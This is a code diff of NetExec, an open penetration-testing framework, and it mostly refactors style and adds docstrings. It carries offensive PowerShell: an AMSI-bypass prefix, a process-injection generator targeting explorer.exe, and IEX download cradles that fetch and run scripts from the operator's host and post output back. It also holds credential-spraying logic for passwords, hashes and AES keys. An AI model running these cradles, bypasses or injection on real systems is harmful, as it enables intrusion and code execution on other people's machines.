Usernames can be specified with a domain (domain\\username) or without (username).
|
||||
If the file contains domain\\username the domain specified will be overwritten by the one in the file.
|
||||
|
||||
|
@ -286,7 +309,7 @@ class connection(object):
|
|||
# Parse usernames
|
||||
for user in self.args.username:
|
||||
if isfile(user):
|
||||
with open(user, 'r') as user_file:
|
||||
with open(user) as user_file:
|
||||
for line in user_file:
|
||||
if "\\" in line:
|
||||
domain_single, username_single = line.split("\\")
|
||||
|
@ -310,42 +333,41 @@ class connection(object):
|
|||
for password in self.args.password:
|
||||
if isfile(password):
|
||||
try:
|
||||
with open(password, 'r', errors = ('ignore' if self.args.ignore_pw_decoding else 'strict')) as password_file:
|
||||
with open(password, errors=("ignore" if self.args.ignore_pw_decoding else "strict")) as password_file:
|
||||
for line in password_file:
|
||||
secret.append(line.strip())
|
||||
cred_type.append('plaintext')
|
||||
cred_type.append("plaintext")
|
||||
except UnicodeDecodeError as e:
|
||||
self.logger.error(f"{type(e).__name__}: Could not decode password file. Make sure the file only contains UTF-8 characters.")
|
||||
self.logger.error("You can ignore non UTF-8 characters with the option '--ignore-pw-decoding'")
|
||||
exit(1)
|
||||
|
||||
sys.exit(1)
|
||||
else:
|
||||
secret.append(password)
|
||||
cred_type.append('plaintext')
|
||||
cred_type.append("plaintext")
|
||||
|
||||
# Parse NTLM-hashes
|
||||
if hasattr(self.args, "hash") and self.args.hash:
|
||||
for ntlm_hash in self.args.hash:
|
||||
if isfile(ntlm_hash):
|
||||
with open(ntlm_hash, 'r') as ntlm_hash_file:
|
||||
with open(ntlm_hash) as ntlm_hash_file:
|
||||
for line in ntlm_hash_file:
|
||||
secret.append(line.strip())
|
||||
cred_type.append('hash')
|
||||
cred_type.append("hash")
|
||||
else:
|
||||
secret.append(ntlm_hash)
|
||||
cred_type.append('hash')
|
||||
cred_type.append("hash")
|
||||
|
||||
# Parse AES keys
|
||||
if self.args.aesKey:
|
||||
for aesKey in self.args.aesKey:
|
||||
if isfile(aesKey):
|
||||
with open(aesKey, 'r') as aesKey_file:
|
||||
with open(aesKey) as aesKey_file:
|
||||
for line in aesKey_file:
|
||||
secret.append(line.strip())
|
||||
cred_type.append('aesKey')
|
||||
cred_type.append("aesKey")
|
||||
else:
|
||||
secret.append(aesKey)
|
||||
cred_type.append('aesKey')
|
||||
cred_type.append("aesKey")
|
||||
|
||||
# Allow trying multiple users with a single password
|
||||
if len(username) > 1 and len(secret) == 1:
|
||||
|
@ -356,8 +378,8 @@ class connection(object):
|
|||
return domain, username, owned, secret, cred_type, [None] * len(secret)
|
||||
|
||||
def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
|
||||
"""
|
||||
Try to login using the specified credentials and protocol.
|
||||
"""Try to login using the specified credentials and protocol.
|
||||
|
||||
Possible login methods are:
|
||||
- plaintext (/kerberos)
|
||||
- NTLM-hash (/kerberos)
|
||||
|
@ -368,31 +390,34 @@ class connection(object):
|
|||
if self.args.continue_on_success and owned:
|
||||
return False
|
||||
# Enforcing FQDN for SMB if not using local authentication. Related issues/PRs: #26, #28, #24, #38
|
||||
if self.args.protocol == 'smb' and not self.args.local_auth and "." not in domain and not self.args.laps and secret != "" and not (self.domain.upper() == self.hostname.upper()) :
|
||||
if self.args.protocol == "smb" and not self.args.local_auth and "." not in domain and not self.args.laps and secret != "" and self.domain.upper() != self.hostname.upper():
|
||||
self.logger.error(f"Domain {domain} for user {username.rstrip()} need to be FQDN ex:domain.local, not domain")
|
||||
return False
|
||||
if hasattr(self.args, "delegate") and self.args.delegate:
|
||||
self.args.kerberos = True
|
||||
with sem:
|
||||
if cred_type == 'plaintext':
|
||||
if cred_type == "plaintext":
|
||||
if self.args.kerberos:
|
||||
return self.kerberos_login(domain, username, secret, '', '', self.kdcHost, False)
|
||||
elif hasattr(self.args, "domain"): # Some protocolls don't use domain for login
|
||||
self.logger.debug("Trying to authenticate using Kerberos")
|
||||
return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
|
||||
elif hasattr(self.args, "domain"): # Some protocols don't use domain for login
|
||||
self.logger.debug("Trying to authenticate using plaintext with domain")
|
||||
return self.plaintext_login(domain, username, secret)
|
||||
elif self.args.protocol == 'ssh':
|
||||
elif self.args.protocol == "ssh":
|
||||
self.logger.debug("Trying to authenticate using plaintext over SSH")
|
||||
return self.plaintext_login(username, secret, data)
|
||||
else:
|
||||
self.logger.debug("Trying to authenticate using plaintext")
|
||||
return self.plaintext_login(username, secret)
|
||||
elif cred_type == 'hash':
|
||||
elif cred_type == "hash":
|
||||
if self.args.kerberos:
|
||||
return self.kerberos_login(domain, username, '', secret, '', self.kdcHost, False)
|
||||
return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
|
||||
return self.hash_login(domain, username, secret)
|
||||
elif cred_type == 'aesKey':
|
||||
return self.kerberos_login(domain, username, '', '', secret, self.kdcHost, False)
|
||||
elif cred_type == "aesKey":
|
||||
return self.kerberos_login(domain, username, "", "", secret, self.kdcHost, False)
|
||||
|
||||
def login(self):
|
||||
"""
|
||||
Try to login using the credentials specified in the command line or in the database.
|
||||
"""Try to login using the credentials specified in the command line or in the database.
|
||||
|
||||
:return: True if the login was successful and "--continue-on-success" was not specified, False otherwise.
|
||||
"""
|
||||
|
@ -424,6 +449,7 @@ class connection(object):
|
|||
data.extend(parsed_data)
|
||||
|
||||
if self.args.use_kcache:
|
||||
self.logger.debug("Trying to authenticate using Kerberos cache")
|
||||
with sem:
|
||||
username = self.args.username[0] if len(self.args.username) else ""
|
||||
password = self.args.password[0] if len(self.args.password) else ""
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import configparser
|
||||
import os
|
||||
|
||||
|
@ -18,4 +15,3 @@ class Context:
|
|||
self.conf.read(os.path.expanduser("~/.nxc/nxc.conf"))
|
||||
|
||||
self.log = logger
|
||||
# self.log.debug = logging.debug
|
||||
|
|
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
@ -1,11 +1,8 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from os import mkdir
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
import shutil
|
||||
from nxc.paths import nxc_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
|
||||
from nxc.paths import NXC_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
|
||||
from nxc.nxcdb import initialize_db
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
@ -14,10 +11,10 @@ def first_run_setup(logger=nxc_logger):
|
|||
if not exists(TMP_PATH):
|
||||
mkdir(TMP_PATH)
|
||||
|
||||
if not exists(nxc_PATH):
|
||||
if not exists(NXC_PATH):
|
||||
logger.display("First time use detected")
|
||||
logger.display("Creating home directory structure")
|
||||
mkdir(nxc_PATH)
|
||||
mkdir(NXC_PATH)
|
||||
|
||||
folders = (
|
||||
"logs",
|
||||
|
@ -28,30 +25,17 @@ def first_run_setup(logger=nxc_logger):
|
|||
"screenshots",
|
||||
)
|
||||
for folder in folders:
|
||||
if not exists(path_join(nxc_PATH, folder)):
|
||||
if not exists(path_join(NXC_PATH, folder)):
|
||||
logger.display(f"Creating missing folder {folder}")
|
||||
mkdir(path_join(nxc_PATH, folder))
|
||||
mkdir(path_join(NXC_PATH, folder))
|
||||
|
||||
initialize_db(logger)
|
||||
|
||||
if not exists(CONFIG_PATH):
|
||||
logger.display("Copying default configuration file")
|
||||
default_path = path_join(DATA_PATH, "nxc.conf")
|
||||
shutil.copy(default_path, nxc_PATH)
|
||||
shutil.copy(default_path, NXC_PATH)
|
||||
|
||||
# if not exists(CERT_PATH):
|
||||
# logger.display('Generating SSL certificate')
|
||||
# try:
|
||||
# check_output(['openssl', 'help'], stderr=PIPE)
|
||||
# if os.name != 'nt':
|
||||
# os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US" > /dev/null 2>&1'.format(path=CERT_PATH))
|
||||
# else:
|
||||
# os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US"'.format(path=CERT_PATH))
|
||||
# except OSError as e:
|
||||
# if e.errno == errno.ENOENT:
|
||||
# logger.error('OpenSSL command line utility is not installed, could not generate certificate, using default certificate')
|
||||
# default_path = path_join(DATA_PATH, 'default.pem')
|
||||
# shutil.copy(default_path, CERT_PATH)
|
||||
# else:
|
||||
# logger.error('Error while generating SSL certificate: {}'.format(e))
|
||||
# sys.exit(1)
|
||||
|
|
|
@ -1,9 +1,7 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import os
|
||||
from nxc.paths import DATA_PATH
|
||||
|
||||
|
||||
def get_script(path):
|
||||
with open(os.path.join(DATA_PATH, path), "r") as script:
|
||||
with open(os.path.join(DATA_PATH, path)) as script:
|
||||
return script.read()
|
||||
|
|
|
@ -1,18 +1,33 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
|
||||
def add_user_bh(user, domain, logger, config):
|
||||
"""Adds a user to the BloodHound graph database.
|
||||
|
||||
Args:
|
||||
----
|
||||
user (str or list): The username of the user or a list of user dictionaries.
|
||||
domain (str): The domain of the user.
|
||||
logger (Logger): The logger object for logging messages.
|
||||
config (ConfigParser): The configuration object for accessing BloodHound settings.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
|
||||
Raises:
|
||||
------
|
||||
AuthError: If the provided Neo4J credentials are not valid.
|
||||
ServiceUnavailable: If Neo4J is not available on the specified URI.
|
||||
Exception: If an unexpected error occurs with Neo4J.
|
||||
"""
|
||||
users_owned = []
|
||||
if isinstance(user, str):
|
||||
users_owned.append({"username": user.upper(), "domain": domain.upper()})
|
||||
else:
|
||||
users_owned = user
|
||||
|
||||
if config.get("BloodHound", "bh_enabled") != "False":
|
||||
try:
|
||||
from neo4j.v1 import GraphDatabase
|
||||
except:
|
||||
from neo4j import GraphDatabase
|
||||
# we do a conditional import here to avoid loading these if BH isn't enabled
|
||||
from neo4j import GraphDatabase
|
||||
from neo4j.exceptions import AuthError, ServiceUnavailable
|
||||
|
||||
uri = f"bolt://{config.get('BloodHound', 'bh_uri')}:{config.get('BloodHound', 'bh_port')}"
|
||||
|
@ -26,30 +41,29 @@ def add_user_bh(user, domain, logger, config):
|
|||
encrypted=False,
|
||||
)
|
||||
try:
|
||||
with driver.session() as session:
|
||||
with session.begin_transaction() as tx:
|
||||
for info in users_owned:
|
||||
if info["username"][-1] == "$":
|
||||
user_owned = info["username"][:-1] + "." + info["domain"]
|
||||
account_type = "Computer"
|
||||
else:
|
||||
user_owned = info["username"] + "@" + info["domain"]
|
||||
account_type = "User"
|
||||
with driver.session() as session, session.begin_transaction() as tx:
|
||||
for info in users_owned:
|
||||
if info["username"][-1] == "$":
|
||||
user_owned = info["username"][:-1] + "." + info["domain"]
|
||||
account_type = "Computer"
|
||||
else:
|
||||
user_owned = info["username"] + "@" + info["domain"]
|
||||
account_type = "User"
|
||||
|
||||
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) RETURN c')
|
||||
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) RETURN c')
|
||||
|
||||
if result.data()[0]["c"].get("owned") in (False, None):
|
||||
logger.debug(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
|
||||
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
|
||||
logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound")
|
||||
except AuthError as e:
|
||||
if result.data()[0]["c"].get("owned") in (False, None):
|
||||
logger.debug(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
|
||||
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
|
||||
logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound")
|
||||
except AuthError:
|
||||
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
|
||||
return
|
||||
except ServiceUnavailable as e:
|
||||
except ServiceUnavailable:
|
||||
logger.fail(f"Neo4J does not seem to be available on {uri}.")
|
||||
return
|
||||
except Exception as e:
|
||||
logger.fail("Unexpected error with Neo4J")
|
||||
logger.fail(f"Unexpected error with Neo4J: {e}")
|
||||
logger.fail("Account not found on the domain")
|
||||
return
|
||||
driver.close()
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import random
|
||||
|
||||
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import os
|
||||
from termcolor import colored
|
||||
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import random
|
||||
import string
|
||||
import re
|
||||
|
@ -9,7 +6,7 @@ import os
|
|||
|
||||
|
||||
def identify_target_file(target_file):
|
||||
with open(target_file, "r") as target_file_handle:
|
||||
with open(target_file) as target_file_handle:
|
||||
for i, line in enumerate(target_file_handle):
|
||||
if i == 1:
|
||||
if line.startswith("<NessusClientData"):
|
||||
|
@ -26,10 +23,7 @@ def gen_random_string(length=10):
|
|||
|
||||
def validate_ntlm(data):
|
||||
allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
|
||||
if allowed.match(data):
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
return bool(allowed.match(data))
|
||||
|
||||
|
||||
def called_from_cmd_args():
|
||||
|
@ -45,12 +39,10 @@ def called_from_cmd_args():
|
|||
|
||||
# Stolen from https://github.com/pydanny/whichcraft/
|
||||
def which(cmd, mode=os.F_OK | os.X_OK, path=None):
|
||||
"""Given a command, mode, and a PATH string, return the path which
|
||||
conforms to the given mode on the PATH, or None if there is no such
|
||||
file.
|
||||
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result
|
||||
of os.environ.get("PATH"), or can be overridden with a custom search
|
||||
path.
|
||||
"""Find the path which conforms to the given mode on the PATH for a command.
|
||||
|
||||
Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file.
|
||||
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path.
|
||||
Note: This function was backported from the Python 3 source code.
|
||||
"""
|
||||
|
||||
|
@ -77,12 +69,11 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None):
|
|||
files = [cmd]
|
||||
|
||||
seen = set()
|
||||
for dir in path:
|
||||
normdir = os.path.normcase(dir)
|
||||
for p in path:
|
||||
normdir = os.path.normcase(p)
|
||||
if normdir not in seen:
|
||||
seen.add(normdir)
|
||||
for thefile in files:
|
||||
name = os.path.join(dir, thefile)
|
||||
name = os.path.join(p, thefile)
|
||||
if _access_check(name, mode):
|
||||
return name
|
||||
return None
|
||||
|
|
|
@ -12,7 +12,8 @@ Authors:
|
|||
Guillaume DAUMAS (@BlWasp_)
|
||||
Lucien DOUSTALY (@Wlayzz)
|
||||
|
||||
References:
|
||||
References
|
||||
----------
|
||||
MS-ADA1, MS-ADA2, MS-ADA3 Active Directory Schema Attributes and their GUID:
|
||||
- [MS-ADA1] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada1/19528560-f41e-4623-a406-dabcfff0660f
|
||||
- [MS-ADA2] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/e20ebc4e-5285-40ba-b3bd-ffcb81c2783e
|
||||
|
@ -22,6 +23,7 @@ References:
|
|||
|
||||
|
||||
This library is, for the moment, not present in the Impacket version used by NetExec, so I add it manually in helpers.
|
||||
|
||||
"""
|
||||
|
||||
SCHEMA_OBJECTS = {
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import os
|
||||
import re
|
||||
from sys import exit
|
||||
|
@ -8,35 +6,80 @@ from random import choice, sample
|
|||
from subprocess import call
|
||||
from nxc.helpers.misc import which
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.paths import nxc_PATH, DATA_PATH
|
||||
from nxc.paths import NXC_PATH, DATA_PATH
|
||||
from base64 import b64encode
|
||||
import random
|
||||
|
||||
obfuscate_ps_scripts = False
|
||||
|
||||
|
||||
def get_ps_script(path):
|
||||
"""Generates a full path to a PowerShell script given a relative path.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
path (str): The relative path to the PowerShell script.
|
||||
|
||||
Returns
|
||||
-------
|
||||
str: The full path to the PowerShell script.
|
||||
"""
|
||||
return os.path.join(DATA_PATH, path)
|
||||
|
||||
|
||||
def encode_ps_command(command):
|
||||
"""
|
||||
Encodes a PowerShell command into a base64-encoded string.
|
||||
|
||||
Args:
|
||||
----
|
||||
command (str): The PowerShell command to encode.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: The base64-encoded string representation of the encoded command.
|
||||
"""
|
||||
return b64encode(command.encode("UTF-16LE")).decode()
|
||||
|
||||
|
||||
def is_powershell_installed():
|
||||
"""
|
||||
Check if PowerShell is installed.
|
||||
|
||||
Returns
|
||||
-------
|
||||
bool: True if PowerShell is installed, False otherwise.
|
||||
"""
|
||||
if which("powershell"):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def obfs_ps_script(path_to_script):
|
||||
"""
|
||||
Obfuscates a PowerShell script.
|
||||
|
||||
Args:
|
||||
----
|
||||
path_to_script (str): The path to the PowerShell script.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: The obfuscated PowerShell script.
|
||||
|
||||
Raises:
|
||||
------
|
||||
FileNotFoundError: If the script file does not exist.
|
||||
OSError: If there is an error during obfuscation.
|
||||
"""
|
||||
ps_script = path_to_script.split("/")[-1]
|
||||
obfs_script_dir = os.path.join(nxc_PATH, "obfuscated_scripts")
|
||||
obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
|
||||
obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
|
||||
|
||||
if is_powershell_installed() and obfuscate_ps_scripts:
|
||||
if os.path.exists(obfs_ps_script):
|
||||
nxc_logger.display("Using cached obfuscated Powershell script")
|
||||
with open(obfs_ps_script, "r") as script:
|
||||
with open(obfs_ps_script) as script:
|
||||
return script.read()
|
||||
|
||||
nxc_logger.display("Performing one-time script obfuscation, go look at some memes cause this can take a bit...")
|
||||
|
@ -45,15 +88,15 @@ def obfs_ps_script(path_to_script):
|
|||
nxc_logger.debug(invoke_obfs_command)
|
||||
|
||||
with open(os.devnull, "w") as devnull:
|
||||
return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
|
||||
call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
|
||||
|
||||
nxc_logger.success("Script obfuscated successfully")
|
||||
|
||||
with open(obfs_ps_script, "r") as script:
|
||||
with open(obfs_ps_script) as script:
|
||||
return script.read()
|
||||
|
||||
else:
|
||||
with open(get_ps_script(path_to_script), "r") as script:
|
||||
with open(get_ps_script(path_to_script)) as script:
|
||||
"""
|
||||
Strip block comments, line comments, empty lines, verbose statements,
|
||||
and debug statements from a PowerShell source file.
|
||||
|
@ -61,17 +104,31 @@ def obfs_ps_script(path_to_script):
|
|||
# strip block comments
|
||||
stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read())
|
||||
# strip blank lines, lines starting with #, and verbose/debug statements
|
||||
stripped_code = "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
|
||||
return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
|
||||
|
||||
return stripped_code
|
||||
|
||||
|
||||
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
|
||||
"""
|
||||
Generates a PowerShell command based on the provided `ps_command` parameter.
|
||||
|
||||
Args:
|
||||
----
|
||||
ps_command (str): The PowerShell command to be executed.
|
||||
|
||||
force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
|
||||
|
||||
dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
|
||||
|
||||
custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: The generated PowerShell command.
|
||||
"""
|
||||
if custom_amsi:
|
||||
with open(custom_amsi) as file_in:
|
||||
lines = []
|
||||
for line in file_in:
|
||||
lines.append(line)
|
||||
lines = list(file_in)
|
||||
amsi_bypass = "".join(lines)
|
||||
else:
|
||||
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
|
||||
|
@ -80,35 +137,9 @@ try{
|
|||
}catch{}
|
||||
"""
|
||||
|
||||
if force_ps32:
|
||||
command = (
|
||||
amsi_bypass
|
||||
+ """
|
||||
$functions = {{
|
||||
function Command-ToExecute
|
||||
{{
|
||||
{command}
|
||||
}}
|
||||
}}
|
||||
if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
|
||||
{{
|
||||
$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32
|
||||
$job | Wait-Job
|
||||
}}
|
||||
else
|
||||
{{
|
||||
IEX "$functions"
|
||||
Command-ToExecute
|
||||
}}
|
||||
""".format(
|
||||
command=amsi_bypass + ps_command
|
||||
)
|
||||
)
|
||||
command = amsi_bypass + f"\n$functions = {{\n function Command-ToExecute\n {{\n{amsi_bypass + ps_command}\n }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n $job | Wait-Job\n}}\nelse\n{{\n IEX \"$functions\"\n Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command
|
||||
|
||||
else:
|
||||
command = amsi_bypass + ps_command
|
||||
|
||||
nxc_logger.debug("Generated PS command:\n {}\n".format(command))
|
||||
nxc_logger.debug(f"Generated PS command:\n {command}\n")
|
||||
|
||||
# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
|
||||
# concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
|
||||
|
@ -166,6 +197,20 @@ else
|
|||
|
||||
|
||||
def gen_ps_inject(command, context=None, procname="explorer.exe", inject_once=False):
|
||||
"""
|
||||
Generates a PowerShell code block for injecting a command into a specified process.
|
||||
|
||||
Args:
|
||||
----
|
||||
command (str): The command to be injected.
|
||||
context (str, optional): The context in which the code block will be injected. Defaults to None.
|
||||
procname (str, optional): The name of the process into which the command will be injected. Defaults to "explorer.exe".
|
||||
inject_once (bool, optional): Specifies whether the command should be injected only once. Defaults to False.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: The generated PowerShell code block.
|
||||
"""
|
||||
# The following code gives us some control over where and how Invoke-PSInject does its thang
|
||||
# It prioritizes injecting into a process of the active console session
|
||||
ps_code = """
|
||||
|
@ -207,8 +252,22 @@ if (($injected -eq $False) -or ($inject_once -eq $False)){{
|
|||
return ps_code
|
||||
|
||||
|
||||
def gen_ps_iex_cradle(context, scripts, command=str(), post_back=True):
|
||||
if type(scripts) is str:
|
||||
def gen_ps_iex_cradle(context, scripts, command="", post_back=True):
|
||||
"""
|
||||
Generates a PowerShell IEX cradle script for executing one or more scripts.
|
||||
|
||||
Args:
|
||||
----
|
||||
context (Context): The context object containing server and port information.
|
||||
scripts (str or list): The script(s) to be executed.
|
||||
command (str, optional): A command to be executed after the scripts are executed. Defaults to an empty string.
|
||||
post_back (bool, optional): Whether to send a POST request with the command. Defaults to True.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: The generated PowerShell IEX cradle script.
|
||||
"""
|
||||
if isinstance(scripts, str):
|
||||
launcher = """
|
||||
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'
|
||||
|
@ -222,23 +281,18 @@ IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_scri
|
|||
command=command if post_back is False else "",
|
||||
).strip()
|
||||
|
||||
elif type(scripts) is list:
|
||||
elif isinstance(scripts, list):
|
||||
launcher = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n"
|
||||
launcher += "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'"
|
||||
for script in scripts:
|
||||
launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{script}')\n".format(
|
||||
server=context.server,
|
||||
port=context.server_port,
|
||||
addr=context.localip,
|
||||
script=script,
|
||||
)
|
||||
launcher += f"IEX (New-Object Net.WebClient).DownloadString('{context.server}://{context.localip}:{context.server_port}/{script}')\n"
|
||||
launcher.strip()
|
||||
launcher += command if post_back is False else ""
|
||||
|
||||
if post_back is True:
|
||||
launcher += """
|
||||
launcher += f"""
|
||||
$cmd = {command}
|
||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/')
|
||||
$request = [System.Net.WebRequest]::Create('{context.server}://{context.localip}:{context.server_port}/')
|
||||
$request.Method = 'POST'
|
||||
$request.ContentType = 'application/x-www-form-urlencoded'
|
||||
$bytes = [System.Text.Encoding]::ASCII.GetBytes($cmd)
|
||||
|
@ -246,12 +300,7 @@ $request.ContentLength = $bytes.Length
|
|||
$requestStream = $request.GetRequestStream()
|
||||
$requestStream.Write($bytes, 0, $bytes.Length)
|
||||
$requestStream.Close()
|
||||
$request.GetResponse()""".format(
|
||||
server=context.server,
|
||||
port=context.server_port,
|
||||
addr=context.localip,
|
||||
command=command,
|
||||
)
|
||||
$request.GetResponse()"""
|
||||
|
||||
nxc_logger.debug(f"Generated PS IEX Launcher:\n {launcher}\n")
|
||||
|
||||
|
@ -260,30 +309,19 @@ $request.GetResponse()""".format(
|
|||
|
||||
# Following was stolen from https://raw.githubusercontent.com/GreatSCT/GreatSCT/templates/invokeObfuscation.py
|
||||
def invoke_obfuscation(script_string):
|
||||
# Add letters a-z with random case to $RandomDelimiters.
|
||||
alphabet = "".join(choice([i.upper(), i]) for i in ascii_lowercase)
|
||||
"""
|
||||
Obfuscates a script string and generates an obfuscated payload for execution.
|
||||
|
||||
# Create list of random delimiters called random_delimiters.
|
||||
# Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in the -Split command syntax.
|
||||
random_delimiters = [
|
||||
"_",
|
||||
"-",
|
||||
",",
|
||||
"{",
|
||||
"}",
|
||||
"~",
|
||||
"!",
|
||||
"@",
|
||||
"%",
|
||||
"&",
|
||||
"<",
|
||||
">",
|
||||
";",
|
||||
":",
|
||||
]
|
||||
Args:
|
||||
----
|
||||
script_string (str): The script string to obfuscate.
|
||||
|
||||
for i in alphabet:
|
||||
random_delimiters.append(i)
|
||||
Returns:
|
||||
-------
|
||||
str: The obfuscated payload for execution.
|
||||
"""
|
||||
random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
|
||||
random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
|
||||
|
||||
# Only use a subset of current delimiters to randomize what you see in every iteration of this script's output.
|
||||
random_delimiters = [choice(random_delimiters) for _ in range(int(len(random_delimiters) / 4))]
|
||||
|
@ -356,7 +394,7 @@ def invoke_obfuscation(script_string):
|
|||
set_ofs_var_back = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var_back)
|
||||
|
||||
# Generate the code that will decrypt and execute the payload and randomly select one.
|
||||
baseScriptArray = [
|
||||
base_script_array = [
|
||||
"[" + char_str + "[]" + "]" + choice(["", " "]) + encoded_array,
|
||||
"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'." + split + "(" + choice(["", " "]) + "'" + random_delimiters_to_print + "'" + choice(["", " "]) + ")" + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
|
||||
"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'" + choice(["", " "]) + random_delimiters_to_print_for_dash_split + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
|
||||
|
@ -364,14 +402,14 @@ def invoke_obfuscation(script_string):
|
|||
]
|
||||
# Generate random JOIN syntax for all above options
|
||||
new_script_array = [
|
||||
choice(baseScriptArray) + choice(["", " "]) + join + choice(["", " "]) + "''",
|
||||
join + choice(["", " "]) + choice(baseScriptArray),
|
||||
str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(baseScriptArray) + choice(["", " "]) + ")",
|
||||
